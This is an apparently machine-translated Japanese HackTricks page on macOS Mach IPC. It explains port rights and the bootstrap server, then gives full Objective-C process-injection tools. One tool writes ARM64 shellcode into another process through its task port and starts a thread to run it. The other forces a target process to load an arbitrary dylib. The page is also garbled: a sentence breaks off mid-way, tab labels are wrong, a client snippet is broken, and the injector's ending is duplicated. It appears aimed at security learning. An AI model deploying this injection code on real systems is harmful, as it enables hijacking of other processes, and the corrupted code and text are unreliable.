.. | ||
macos-pid-reuse.md | ||
macos-xpc-authorization.md | ||
macos-xpc-connecting-process-check.md | ||
README.md |
macOS IPC - プロセス間通信
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- サイバーセキュリティ企業で働いていますか? HackTricksで会社を宣伝したいですか?または、PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロードしたいですか?SUBSCRIPTION PLANSをチェックしてください!
- The PEASS Familyを見つけてください。独占的なNFTのコレクションです。
- 公式のPEASS&HackTricksのグッズを手に入れましょう。
- 💬 Discordグループまたはtelegramグループに参加するか、Twitterでフォローしてください🐦@carlospolopm。
- ハッキングのトリックを共有するには、PRを hacktricks repo と hacktricks-cloud repo に提出してください。
ポートを介したMachメッセージング
Machは、リソースの共有においてタスクを最小単位として使用し、各タスクは複数のスレッドを含むことができます。これらのタスクとスレッドは、POSIXプロセスとスレッドに1:1でマッピングされます。
タスク間の通信は、Machインタープロセス通信(IPC)を使用して行われ、片方向の通信チャネルを利用します。メッセージはポート間で転送され、カーネルによって管理されるメッセージキューのような役割を果たします。
タスクが実行できる操作を定義するポート権限は、この通信に重要です。可能なポート権限は次のとおりです。
- 受信権限:ポートに送信されたメッセージを受信することを許可します。MachポートはMPSC(複数プロデューサ、単一コンシューマ)キューであるため、システム全体でポートごとに受信権限は1つだけ存在できます(複数のプロセスが1つのパイプの読み取りエンドに対するファイルディスクリプタを保持できるパイプとは異なります)。
- 受信権限を持つタスクは、メッセージを受信し、メッセージを送信するための送信権限を作成することができます。元々は自分自身のタスクがポートに対して受信権限を持っていました。
- 送信権限:ポートにメッセージを送信することを許可します。
- 送信権限はクローンすることができ、送信権限を所有するタスクは権限を第三のタスクに付与することができます。
- 一度だけ送信権限:ポートに1つのメッセージを送信し、その後消えます。
- ポートセット権限:単一のポートではなく、_ポートセット_を示します。ポートセットからメッセージをデキューすると、それに含まれるポートからメッセージがデキューされます。ポートセットは、Unixの
select
/poll
/epoll
/kqueue
のように、複数のポートで同時にリッスンするために使用できます。 - デッドネーム:実際のポート権限ではなく、単なるプレースホルダーです。ポートが破棄されると、ポートへのすべての既存のポート権限がデッドネームに変わります。
タスクはSEND権限を他のタスクに転送することができ、それによりメッセージを送信することができるようになります。SEND権限はクローンすることもでき、タスクは権限を複製して第三のタスクに付与することができます。これにより、中間プロセスであるブートストラップサーバーとの効果的な通信が可能になります。
手順:
上記に述べたように、通信チャネルを確立するためには、ブートストラップサーバー(macではlaunchd)が関与します。
- タスクAは新しいポートを初期化し、プロセス内で受信権限を取得します。
- 受信権限を持つタスクAは、ポートのためにSEND権限を生成します。
- タスクAは、ブートストラップサーバーとの接続を確立し、ポートのサービス名とSEND権限をブートストラップ登録という手順を通じて提供します。
- タスクBは、サービス名のためにブートストラップサーバーとやり取りし、ブートストラップのサービス名の検索を実行します。成功した場合、サーバーはタスクAから受け取ったSEND権限を複製し、タスクBに送信します。
- SEND権限を取得した後、タスクBはメッセージを作成し、タスクAに送信することができます。
ブートストラップサーバーは、タスクが主張するサービス名を認証することはできません。これは、タスクが潜在的にシステムタスクをなりすますことができる可能性があることを意味します。たとえば、認証サービス名を偽って主張し、その後すべてのリクエストを承認することができます。
その後、Appleはシステムが提供するサービスの名前を、SIPで保護されたディレクトリにある安全な設定ファイルに保存しています:/System/Library/LaunchDaemons
および/System/Library/LaunchAgents
。ブートストラップサーバーは、これらのサービス名ごとに受信権限を作成し、保持します。
これらの事前定義されたサービスに対しては、検索プロセスが若干異なります。サービス名が検索されると、launchdはサービスを動的に起動します。新しいワークフローは次のようになります。
- タスクBは、サービス名のためにブートストラップの検索を開始します。
- launchdは、タスクが実行中かどうかをチェックし、実行されていない場合は起動します。
- タスクA(サービス)は、ブートストラップチェックインを実行します。ここで、ブートストラップサーバーはSEND権限を
コード例
送信者がポートを割り当てし、名前org.darlinghq.example
の送信権を作成してブートストラップサーバーに送信する方法に注目してください。送信者はその名前の送信権を要求し、それを使用してメッセージを送信します。
{% tabs %} {% tab title="receiver.c" %}
// Code from https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html
// gcc receiver.c -o receiver
#include <stdio.h>
#include <mach/mach.h>
#include <servers/bootstrap.h>
int main() {
// Create a new port.
mach_port_t port;
kern_return_t kr = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port);
if (kr != KERN_SUCCESS) {
printf("mach_port_allocate() failed with code 0x%x\n", kr);
return 1;
}
printf("mach_port_allocate() created port right name %d\n", port);
// Give us a send right to this port, in addition to the receive right.
kr = mach_port_insert_right(mach_task_self(), port, port, MACH_MSG_TYPE_MAKE_SEND);
if (kr != KERN_SUCCESS) {
printf("mach_port_insert_right() failed with code 0x%x\n", kr);
return 1;
}
printf("mach_port_insert_right() inserted a send right\n");
// Send the send right to the bootstrap server, so that it can be looked up by other processes.
kr = bootstrap_register(bootstrap_port, "org.darlinghq.example", port);
if (kr != KERN_SUCCESS) {
printf("bootstrap_register() failed with code 0x%x\n", kr);
return 1;
}
printf("bootstrap_register()'ed our port\n");
// Wait for a message.
struct {
mach_msg_header_t header;
char some_text[10];
int some_number;
mach_msg_trailer_t trailer;
} message;
kr = mach_msg(
&message.header, // Same as (mach_msg_header_t *) &message.
MACH_RCV_MSG, // Options. We're receiving a message.
0, // Size of the message being sent, if sending.
sizeof(message), // Size of the buffer for receiving.
port, // The port to receive a message on.
MACH_MSG_TIMEOUT_NONE,
MACH_PORT_NULL // Port for the kernel to send notifications about this message to.
);
if (kr != KERN_SUCCESS) {
printf("mach_msg() failed with code 0x%x\n", kr);
return 1;
}
printf("Got a message\n");
message.some_text[9] = 0;
printf("Text: %s, number: %d\n", message.some_text, message.some_number);
}
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <mach/mach.h>
#define BUFFER_SIZE 100
int main(int argc, char** argv) {
mach_port_t server_port;
kern_return_t kr;
char buffer[BUFFER_SIZE];
// Create a send right to the server port
kr = bootstrap_look_up(bootstrap_port, "com.example.server", &server_port);
if (kr != KERN_SUCCESS) {
printf("Failed to look up server port: %s\n", mach_error_string(kr));
exit(1);
}
// Send a message to the server
strcpy(buffer, "Hello, server!");
kr = mach_msg_send((mach_msg_header_t*)buffer);
if (kr != KERN_SUCCESS) {
printf("Failed to send message: %s\n", mach_error_string(kr));
exit(1);
}
// Receive a reply from the server
kr = mach_msg_receive((mach_msg_header_t*)buffer);
if (kr != KERN_SUCCESS) {
printf("Failed to receive reply: %s\n", mach_error_string(kr));
exit(1);
}
printf("Received reply: %s\n", buffer);
return 0;
}
{% endtab %}
{% tab title="receiver.c" %}
// Code from https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html
// gcc sender.c -o sender
#include <stdio.h>
#include <mach/mach.h>
#include <servers/bootstrap.h>
int main() {
// Lookup the receiver port using the bootstrap server.
mach_port_t port;
kern_return_t kr = bootstrap_look_up(bootstrap_port, "org.darlinghq.example", &port);
if (kr != KERN_SUCCESS) {
printf("bootstrap_look_up() failed with code 0x%x\n", kr);
return 1;
}
printf("bootstrap_look_up() returned port right name %d\n", port);
// Construct our message.
struct {
mach_msg_header_t header;
char some_text[10];
int some_number;
} message;
message.header.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0);
message.header.msgh_remote_port = port;
message.header.msgh_local_port = MACH_PORT_NULL;
strncpy(message.some_text, "Hello", sizeof(message.some_text));
message.some_number = 35;
// Send the message.
kr = mach_msg(
&message.header, // Same as (mach_msg_header_t *) &message.
MACH_SEND_MSG, // Options. We're sending a message.
sizeof(message), // Size of the message being sent.
0, // Size of the buffer for receiving.
MACH_PORT_NULL, // A port to receive a message on, if receiving.
MACH_MSG_TIMEOUT_NONE,
MACH_PORT_NULL // Port for the kernel to send notifications about this message to.
);
if (kr != KERN_SUCCESS) {
printf("mach_msg() failed with code 0x%x\n", kr);
return 1;
}
printf("Sent a message\n");
}
{% endtab %} {% endtabs %}
特権ポート
- ホストポート: プロセスがこのポートに対して送信権限を持っている場合、システムに関する情報(例:
host_processor_info
)を取得できます。 - ホスト特権ポート: このポートに対して送信権限を持つプロセスは、カーネル拡張をロードするなどの特権アクションを実行できます。この権限を取得するには、プロセスはルート権限を持つ必要があります。
- さらに、
kext_request
APIを呼び出すためには、Appleのバイナリにのみ与えられる**com.apple.private.kext*
**という他の権限が必要です。 - タスク名ポート: _タスクポート_の非特権バージョンです。タスクを参照することはできますが、制御することはできません。これを通じて利用できる唯一のものは
task_info()
です。 - タスクポート(またはカーネルポート)**: このポートに対する送信権限を持つと、タスクを制御することができます(メモリの読み書き、スレッドの作成など)。
- 呼び出し元タスクのこのポートの名前を取得するには、
mach_task_self()
を呼び出します。このポートは**exec()
を跨いでのみ継承**されます。fork()
で作成された新しいタスクは新しいタスクポートを取得します(特別な場合として、suidバイナリのexec()
後にもタスクは新しいタスクポートを取得します)。タスクを生成し、そのポートを取得する唯一の方法は、fork()
を行う際に"ポートスワップダンス"を実行することです。 - これらはポートへのアクセス制限です(バイナリ
AppleMobileFileIntegrity
のmacos_task_policy
から): - アプリに**
com.apple.security.get-task-allow
権限**がある場合、同じユーザーのプロセスはタスクポートにアクセスできます(デバッグのためにXcodeによって一般的に追加されます)。公開リリースでは、公証プロセスはこれを許可しません。 com.apple.system-task-ports
権限を持つアプリは、カーネルを除く任意のプロセスのタスクポートを取得できます。以前のバージョンでは**task_for_pid-allow
**と呼ばれていました。これはAppleのアプリケーションにのみ付与されます。- ルートユーザーは、ハード化されたランタイムでコンパイルされていないアプリケーション(およびAppleのアプリケーションではない)のタスクポートにアクセスできます。
タスクポートを介したスレッドへのシェルコードのインジェクション
シェルコードを取得するには、次の場所から取得できます:
{% content-ref url="../../macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md" %} arm64-basic-assembly.md {% endcontent-ref %}
{% tabs %} {% tab title="mysleep.m" %}
// clang -framework Foundation mysleep.m -o mysleep
// codesign --entitlements entitlements.plist -s - mysleep
#import <Foundation/Foundation.h>
double performMathOperations() {
double result = 0;
for (int i = 0; i < 10000; i++) {
result += sqrt(i) * tan(i) - cos(i);
}
return result;
}
int main(int argc, const char * argv[]) {
@autoreleasepool {
NSLog(@"Process ID: %d", [[NSProcessInfo processInfo]
processIdentifier]);
while (true) {
[NSThread sleepForTimeInterval:5];
performMathOperations(); // Silent action
[NSThread sleepForTimeInterval:5];
}
}
return 0;
}
{% tab title="entitlements.plist" %}エンタイトルメント.plist
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>com.apple.security.get-task-allow</key>
<true/>
</dict>
</plist>
{% tabs %} {% tab title="English" %}
#import <Foundation/Foundation.h>
#import <mach/mach.h>
#import <mach/mach_vm.h>
#import <sys/mman.h>
int main(int argc, const char * argv[]) {
@autoreleasepool {
if (argc < 2) {
printf("Usage: %s <pid>\n", argv[0]);
return 0;
}
pid_t target_pid = atoi(argv[1]);
mach_port_t target_task;
kern_return_t kr = task_for_pid(mach_task_self(), target_pid, &target_task);
if (kr != KERN_SUCCESS) {
printf("Failed to get task for pid: %d\n", target_pid);
return 0;
}
const char *shellcode = "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90";
size_t shellcode_size = strlen(shellcode);
mach_vm_address_t remote_address;
kr = mach_vm_allocate(target_task, &remote_address, shellcode_size, VM_FLAGS_ANYWHERE);
if (kr != KERN_SUCCESS) {
printf("Failed to allocate memory in target process\n");
return 0;
}
kr = mach_vm_write(target_task, remote_address, (vm_offset_t)shellcode, shellcode_size);
if (kr != KERN_SUCCESS) {
printf("Failed to write shellcode to target process\n");
return 0;
}
kr = mach_vm_protect(target_task, remote_address, shellcode_size, FALSE, VM_PROT_READ | VM_PROT_EXECUTE);
if (kr != KERN_SUCCESS) {
printf("Failed to change memory protection of shellcode in target process\n");
return 0;
}
printf("Shellcode injected successfully\n");
}
return 0;
}
{% endtab %} {% endtabs %} {% enddetails %}
コンパイルする前のプログラムに、同じユーザーでコードをインジェクトできるようにするための権限を追加します(そうでない場合はsudoを使用する必要があります)。
sc_injector.m
```objectivec // gcc -framework Foundation -framework Appkit sc_injector.m -o sc_injector#import <Foundation/Foundation.h> #import <AppKit/AppKit.h> #include <mach/mach_vm.h> #include <sys/sysctl.h>
#ifdef arm64
kern_return_t mach_vm_allocate ( vm_map_t target, mach_vm_address_t *address, mach_vm_size_t size, int flags );
kern_return_t mach_vm_write ( vm_map_t target_task, mach_vm_address_t address, vm_offset_t data, mach_msg_type_number_t dataCnt );
#else #include <mach/mach_vm.h> #endif
#define STACK_SIZE 65536 #define CODE_SIZE 128
// ARM64 shellcode that executes touch /tmp/lalala char injectedCode[] = "\xff\x03\x01\xd1\xe1\x03\x00\x91\x60\x01\x00\x10\x20\x00\x00\xf9\x60\x01\x00\x10\x20\x04\x00\xf9\x40\x01\x00\x10\x20\x08\x00\xf9\x3f\x0c\x00\xf9\x80\x00\x00\x10\xe2\x03\x1f\xaa\x70\x07\x80\xd2\x01\x00\x00\xd4\x2f\x62\x69\x6e\x2f\x73\x68\x00\x2d\x63\x00\x00\x74\x6f\x75\x63\x68\x20\x2f\x74\x6d\x70\x2f\x6c\x61\x6c\x61\x6c\x61\x00";
int inject(pid_t pid){
task_t remoteTask;
// Get access to the task port of the process we want to inject into kern_return_t kr = task_for_pid(mach_task_self(), pid, &remoteTask); if (kr != KERN_SUCCESS) { fprintf (stderr, "Unable to call task_for_pid on pid %d: %d. Cannot continue!\n",pid, kr); return (-1); } else{ printf("Gathered privileges over the task port of process: %d\n", pid); }
// Allocate memory for the stack mach_vm_address_t remoteStack64 = (vm_address_t) NULL; mach_vm_address_t remoteCode64 = (vm_address_t) NULL; kr = mach_vm_allocate(remoteTask, &remoteStack64, STACK_SIZE, VM_FLAGS_ANYWHERE);
if (kr != KERN_SUCCESS) { fprintf(stderr,"Unable to allocate memory for remote stack in thread: Error %s\n", mach_error_string(kr)); return (-2); } else {
fprintf (stderr, "Allocated remote stack @0x%llx\n", remoteStack64); }
// Allocate memory for the code remoteCode64 = (vm_address_t) NULL; kr = mach_vm_allocate( remoteTask, &remoteCode64, CODE_SIZE, VM_FLAGS_ANYWHERE );
if (kr != KERN_SUCCESS) { fprintf(stderr,"Unable to allocate memory for remote code in thread: Error %s\n", mach_error_string(kr)); return (-2); }
// Write the shellcode to the allocated memory kr = mach_vm_write(remoteTask, // Task port remoteCode64, // Virtual Address (Destination) (vm_address_t) injectedCode, // Source 0xa9); // Length of the source
if (kr != KERN_SUCCESS) { fprintf(stderr,"Unable to write remote thread memory: Error %s\n", mach_error_string(kr)); return (-3); }
// Set the permissions on the allocated code memory kr = vm_protect(remoteTask, remoteCode64, 0x70, FALSE, VM_PROT_READ | VM_PROT_EXECUTE);
if (kr != KERN_SUCCESS) { fprintf(stderr,"Unable to set memory permissions for remote thread's code: Error %s\n", mach_error_string(kr)); return (-4); }
// Set the permissions on the allocated stack memory kr = vm_protect(remoteTask, remoteStack64, STACK_SIZE, TRUE, VM_PROT_READ | VM_PROT_WRITE);
if (kr != KERN_SUCCESS) { fprintf(stderr,"Unable to set memory permissions for remote thread's stack: Error %s\n", mach_error_string(kr)); return (-4); }
// Create thread to run shellcode struct arm_unified_thread_state remoteThreadState64; thread_act_t remoteThread;
memset(&remoteThreadState64, '\0', sizeof(remoteThreadState64) );
remoteStack64 += (STACK_SIZE / 2); // this is the real stack //remoteStack64 -= 8; // need alignment of 16
const char* p = (const char*) remoteCode64;
remoteThreadState64.ash.flavor = ARM_THREAD_STATE64; remoteThreadState64.ash.count = ARM_THREAD_STATE64_COUNT; remoteThreadState64.ts_64.__pc = (u_int64_t) remoteCode64; remoteThreadState64.ts_64.__sp = (u_int64_t) remoteStack64;
printf ("Remote Stack 64 0x%llx, Remote code is %p\n", remoteStack64, p );
kr = thread_create_running(remoteTask, ARM_THREAD_STATE64, // ARM_THREAD_STATE64, (thread_state_t) &remoteThreadState64.ts_64, ARM_THREAD_STATE64_COUNT , &remoteThread );
if (kr != KERN_SUCCESS) { fprintf(stderr,"Unable to create remote thread: error %s", mach_error_string (kr)); return (-3); }
return (0); }
pid_t pidForProcessName(NSString *processName) { NSArray *arguments = @[@"pgrep", processName]; NSTask *task = [[NSTask alloc] init]; [task setLaunchPath:@"/usr/bin/env"]; [task setArguments:arguments];
NSPipe *pipe = [NSPipe pipe]; [task setStandardOutput:pipe];
NSFileHandle *file = [pipe fileHandleForReading];
[task launch];
NSData *data = [file readDataToEndOfFile]; NSString *string = [[NSString alloc] initWithData:data encoding:NSUTF8StringEncoding];
return (pid_t)[string integerValue]; }
BOOL isStringNumeric(NSString str) { NSCharacterSet nonNumbers = [[NSCharacterSet decimalDigitCharacterSet] invertedSet]; NSRange r = [str rangeOfCharacterFromSet: nonNumbers]; return r.location == NSNotFound; }
int main(int argc, const char * argv[]) { @autoreleasepool { if (argc < 2) { NSLog(@"Usage: %s ", argv[0]); return 1; }
NSString *arg = [NSString stringWithUTF8String:argv[1]]; pid_t pid;
if (isStringNumeric(arg)) { pid = [arg intValue]; } else { pid = pidForProcessName(arg); if (pid == 0) { NSLog(@"Error: Process named '%@' not found.", arg); return 1; } else{ printf("Found PID of process '%s': %d\n", [arg UTF8String], pid); } }
inject(pid); }
return 0; }
</details>
```bash
gcc -framework Foundation -framework Appkit sc_inject.m -o sc_inject
./inject <pi or string>
タスクポートを介したスレッドへのDylibインジェクション
macOSでは、スレッドはMachを使用するか、posixのpthread
APIを使用して操作することができます。前のインジェクションで生成したスレッドは、Mach APIを使用して生成されたため、posixに準拠していません。
単純なシェルコードをインジェクションしてコマンドを実行することができたのは、posixに準拠する必要がなく、Machのみで動作する必要があったためです。より複雑なインジェクションでは、スレッドもposixに準拠する必要があります。
したがって、スレッドを改善するためには、pthread_create_from_mach_thread
を呼び出す必要があります。これにより、有効なpthreadが作成されます。その後、この新しいpthreadは、システムからdylibをロードするためにdlopenを呼び出すことができます。つまり、異なるアクションを実行するための新しいシェルコードを書く代わりに、カスタムライブラリをロードすることができます。
例えば、(ログを生成し、それを聞くことができるものなど)例のdylibは以下で見つけることができます:
{% content-ref url="../../macos-dyld-hijacking-and-dyld_insert_libraries.md" %} macos-dyld-hijacking-and-dyld_insert_libraries.md {% endcontent-ref %}
dylib_injector.m
```objectivec // gcc -framework Foundation -framework Appkit dylib_injector.m -o dylib_injector // Based on http://newosxbook.com/src.jl?tree=listings&file=inject.c #include #include #include #include <sys/types.h> #include <mach/mach.h> #include <mach/error.h> #include #include #include <sys/sysctl.h> #include <sys/mman.h>#include <sys/stat.h> #include <pthread.h>
#ifdef arm64 //#include "mach/arm/thread_status.h"
// Apple says: mach/mach_vm.h:1:2: error: mach_vm.h unsupported // And I say, bullshit. kern_return_t mach_vm_allocate ( vm_map_t target, mach_vm_address_t *address, mach_vm_size_t size, int flags );
kern_return_t mach_vm_write ( vm_map_t target_task, mach_vm_address_t address, vm_offset_t data, mach_msg_type_number_t dataCnt );
#else #include <mach/mach_vm.h> #endif
#define STACK_SIZE 65536 #define CODE_SIZE 128
char injectedCode[] =
// "\x00\x00\x20\xd4" // BRK X0 ; // useful if you need a break :)
// Call pthread_set_self
"\xff\x83\x00\xd1" // SUB SP, SP, #0x20 ; Allocate 32 bytes of space on the stack for local variables "\xFD\x7B\x01\xA9" // STP X29, X30, [SP, #0x10] ; Save frame pointer and link register on the stack "\xFD\x43\x00\x91" // ADD X29, SP, #0x10 ; Set frame pointer to current stack pointer "\xff\x43\x00\xd1" // SUB SP, SP, #0x10 ; Space for the "\xE0\x03\x00\x91" // MOV X0, SP ; (arg0)Store in the stack the thread struct "\x01\x00\x80\xd2" // MOVZ X1, 0 ; X1 (arg1) = 0; "\xA2\x00\x00\x10" // ADR X2, 0x14 ; (arg2)12bytes from here, Address where the new thread should start "\x03\x00\x80\xd2" // MOVZ X3, 0 ; X3 (arg3) = 0; "\x68\x01\x00\x58" // LDR X8, #44 ; load address of PTHRDCRT (pthread_create_from_mach_thread) "\x00\x01\x3f\xd6" // BLR X8 ; call pthread_create_from_mach_thread "\x00\x00\x00\x14" // loop: b loop ; loop forever
// Call dlopen with the path to the library "\xC0\x01\x00\x10" // ADR X0, #56 ; X0 => "LIBLIBLIB..."; "\x68\x01\x00\x58" // LDR X8, #44 ; load DLOPEN "\x01\x00\x80\xd2" // MOVZ X1, 0 ; X1 = 0; "\x29\x01\x00\x91" // ADD x9, x9, 0 - I left this as a nop "\x00\x01\x3f\xd6" // BLR X8 ; do dlopen()
// Call pthread_exit "\xA8\x00\x00\x58" // LDR X8, #20 ; load PTHREADEXT "\x00\x00\x80\xd2" // MOVZ X0, 0 ; X1 = 0; "\x00\x01\x3f\xd6" // BLR X8 ; do pthread_exit
"PTHRDCRT" // <- "PTHRDEXT" // <- "DLOPEN__" // <- "LIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIB" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" ;
int inject(pid_t pid, const char *lib) {
task_t remoteTask; struct stat buf;
// Check if the library exists int rc = stat (lib, &buf);
if (rc != 0) { fprintf (stderr, "Unable to open library file %s (%s) - Cannot inject\n", lib,strerror (errno)); //return (-9); }
// Get access to the task port of the process we want to inject into kern_return_t kr = task_for_pid(mach_task_self(), pid, &remoteTask); if (kr != KERN_SUCCESS) { fprintf (stderr, "Unable to call task_for_pid on pid %d: %d. Cannot continue!\n",pid, kr); return (-1); } else{ printf("Gathered privileges over the task port of process: %d\n", pid); }
// Allocate memory for the stack mach_vm_address_t remoteStack64 = (vm_address_t) NULL; mach_vm_address_t remoteCode64 = (vm_address_t) NULL; kr = mach_vm_allocate(remoteTask, &remoteStack64, STACK_SIZE, VM_FLAGS_ANYWHERE);
if (kr != KERN_SUCCESS) { fprintf(stderr,"Unable to allocate memory for remote stack in thread: Error %s\n", mach_error_string(kr)); return (-2); } else {
fprintf (stderr, "Allocated remote stack @0x%llx\n", remoteStack64); }
// Allocate memory for the code remoteCode64 = (vm_address_t) NULL; kr = mach_vm_allocate( remoteTask, &remoteCode64, CODE_SIZE, VM_FLAGS_ANYWHERE );
if (kr != KERN_SUCCESS) { fprintf(stderr,"Unable to allocate memory for remote code in thread: Error %s\n", mach_error_string(kr)); return (-2); }
// Patch shellcode
int i = 0; char *possiblePatchLocation = (injectedCode ); for (i = 0 ; i < 0x100; i++) {
// Patching is crude, but works. // extern void *_pthread_set_self; possiblePatchLocation++;
uint64_t addrOfPthreadCreate = dlsym ( RTLD_DEFAULT, "pthread_create_from_mach_thread"); //(uint64_t) pthread_create_from_mach_thread; uint64_t addrOfPthreadExit = dlsym (RTLD_DEFAULT, "pthread_exit"); //(uint64_t) pthread_exit; uint64_t addrOfDlopen = (uint64_t) dlopen;
if (memcmp (possiblePatchLocation, "PTHRDEXT", 8) == 0) { memcpy(possiblePatchLocation, &addrOfPthreadExit,8); printf ("Pthread exit @%llx, %llx\n", addrOfPthreadExit, pthread_exit); }
if (memcmp (possiblePatchLocation, "PTHRDCRT", 8) == 0)
{
memcpy(possiblePatchLocation, &addrOfPthreadCreate,8);
printf ("Pthread create from mach thread @%llx\n", addrOfPthreadCreate);
}
if (memcmp(possiblePatchLocation, "DLOPEN__", 6) == 0)
{
printf ("DLOpen @%llx\n", addrOfDlopen);
memcpy(possiblePatchLocation, &addrOfDlopen, sizeof(uint64_t));
}
if (memcmp(possiblePatchLocation, "LIBLIBLIB", 9) == 0)
{
strcpy(possiblePatchLocation, lib );
}
}
// Write the shellcode to the allocated memory
kr = mach_vm_write(remoteTask, // Task port
remoteCode64, // Virtual Address (Destination)
(vm_address_t) injectedCode, // Source
0xa9); // Length of the source
if (kr != KERN_SUCCESS)
{
fprintf(stderr,"Unable to write remote thread memory: Error %s\n", mach_error_string(kr));
return (-3);
}
// Set the permissions on the allocated code memory
kr = vm_protect(remoteTask, remoteCode64, 0x70, FALSE, VM_PROT_READ | VM_PROT_EXECUTE);
if (kr != KERN_SUCCESS)
{
fprintf(stderr,"Unable to set memory permissions for remote thread's code: Error %s\n", mach_error_string(kr));
return (-4);
}
// Set the permissions on the allocated stack memory
kr = vm_protect(remoteTask, remoteStack64, STACK_SIZE, TRUE, VM_PROT_READ | VM_PROT_WRITE);
if (kr != KERN_SUCCESS)
{
fprintf(stderr,"Unable to set memory permissions for remote thread's stack: Error %s\n", mach_error_string(kr));
return (-4);
}
// Create thread to run shellcode
struct arm_unified_thread_state remoteThreadState64;
thread_act_t remoteThread;
memset(&remoteThreadState64, '\0', sizeof(remoteThreadState64) );
remoteStack64 += (STACK_SIZE / 2); // this is the real stack
//remoteStack64 -= 8; // need alignment of 16
const char* p = (const char*) remoteCode64;
remoteThreadState64.ash.flavor = ARM_THREAD_STATE64;
remoteThreadState64.ash.count = ARM_THREAD_STATE64_COUNT;
remoteThreadState64.ts_64.__pc = (u_int64_t) remoteCode64;
remoteThreadState64.ts_64.__sp = (u_int64_t) remoteStack64;
printf ("Remote Stack 64 0x%llx, Remote code is %p\n", remoteStack64, p );
kr = thread_create_running(remoteTask, ARM_THREAD_STATE64, // ARM_THREAD_STATE64,
(thread_state_t) &remoteThreadState64.ts_64, ARM_THREAD_STATE64_COUNT , &remoteThread );
if (kr != KERN_SUCCESS) {
fprintf(stderr,"Unable to create remote thread: error %s", mach_error_string (kr));
return (-3);
}
return (0);
}
int main(int argc, const char * argv[])
{
if (argc < 3)
{
fprintf (stderr, "Usage: %s _pid_ _action_\n", argv[0]);
fprintf (stderr, " _action_: path to a dylib on disk\n");
exit(0);
}
pid_t pid = atoi(argv[1]);
const char *action = argv[2];
struct stat buf;
int rc = stat (action, &buf);
if (rc == 0) inject(pid,action);
else
{
fprintf(stderr,"Dylib not found\n");
}
}
if (memcmp(possiblePatchLocation, "PTHRDCRT", 8) == 0)
{
memcpy(possiblePatchLocation, &addrOfPthreadCreate, 8);
printf("Pthread create from mach thread @%llx\n", addrOfPthreadCreate);
}
if (memcmp(possiblePatchLocation, "DLOPEN__", 6) == 0)
{
printf("DLOpen @%llx\n", addrOfDlopen);
memcpy(possiblePatchLocation, &addrOfDlopen, sizeof(uint64_t));
}
if (memcmp(possiblePatchLocation, "LIBLIBLIB", 9) == 0)
{
strcpy(possiblePatchLocation, lib);
}
}
// 割り当てられたメモリにシェルコードを書き込む
kr = mach_vm_write(remoteTask, // タスクポート
remoteCode64, // 仮想アドレス(宛先)
(vm_address_t) injectedCode, // ソース
0xa9); // ソースの長さ
if (kr != KERN_SUCCESS)
{
fprintf(stderr, "リモートスレッドメモリの書き込みに失敗しました:エラー %s\n", mach_error_string(kr));
return (-3);
}
// 割り当てられたコードメモリのアクセス権を設定する
kr = vm_protect(remoteTask, remoteCode64, 0x70, FALSE, VM_PROT_READ | VM_PROT_EXECUTE);
if (kr != KERN_SUCCESS)
{
fprintf(stderr, "リモートスレッドのコードのメモリアクセス権を設定できません:エラー %s\n", mach_error_string(kr));
return (-4);
}
// 割り当てられたスタックメモリのアクセス権を設定する
kr = vm_protect(remoteTask, remoteStack64, STACK_SIZE, TRUE, VM_PROT_READ | VM_PROT_WRITE);
if (kr != KERN_SUCCESS)
{
fprintf(stderr, "リモートスレッドのスタックのメモリアクセス権を設定できません:エラー %s\n", mach_error_string(kr));
return (-4);
}
// シェルコードを実行するスレッドを作成する
struct arm_unified_thread_state remoteThreadState64;
thread_act_t remoteThread;
memset(&remoteThreadState64, '\0', sizeof(remoteThreadState64));
remoteStack64 += (STACK_SIZE / 2); // これが実際のスタックです
//remoteStack64 -= 8; // 16のアライメントが必要です
const char* p = (const char*) remoteCode64;
remoteThreadState64.ash.flavor = ARM_THREAD_STATE64;
remoteThreadState64.ash.count = ARM_THREAD_STATE64_COUNT;
remoteThreadState64.ts_64.__pc = (u_int64_t) remoteCode64;
remoteThreadState64.ts_64.__sp = (u_int64_t) remoteStack64;
printf("リモートスタック64 0x%llx、リモートコードは %p\n", remoteStack64, p);
kr = thread_create_running(remoteTask, ARM_THREAD_STATE64, // ARM_THREAD_STATE64,
(thread_state_t) &remoteThreadState64.ts_64, ARM_THREAD_STATE64_COUNT, &remoteThread);
if (kr != KERN_SUCCESS) {
fprintf(stderr, "リモートスレッドの作成に失敗しました:エラー %s", mach_error_string(kr));
return (-3);
}
return (0);
}
int main(int argc, const char * argv[])
{
if (argc < 3)
{
fprintf(stderr, "使用法:%s _pid_ _action_\n", argv[0]);
fprintf(stderr, " _action_:ディスク上のdylibへのパス\n");
exit(0);
}
pid_t pid = atoi(argv[1]);
const char *action = argv[2];
struct stat buf;
int rc = stat(action, &buf);
if (rc == 0) inject(pid, action);
else
{
fprintf(stderr, "Dylibが見つかりません\n");
}
}
このテクニックでは、プロセスのスレッドがハイジャックされます:
{% content-ref url="../../macos-proces-abuse/macos-ipc-inter-process-communication/macos-thread-injection-via-task-port.md" %} macos-thread-injection-via-task-port.md {% endcontent-ref %}
XPC
基本情報
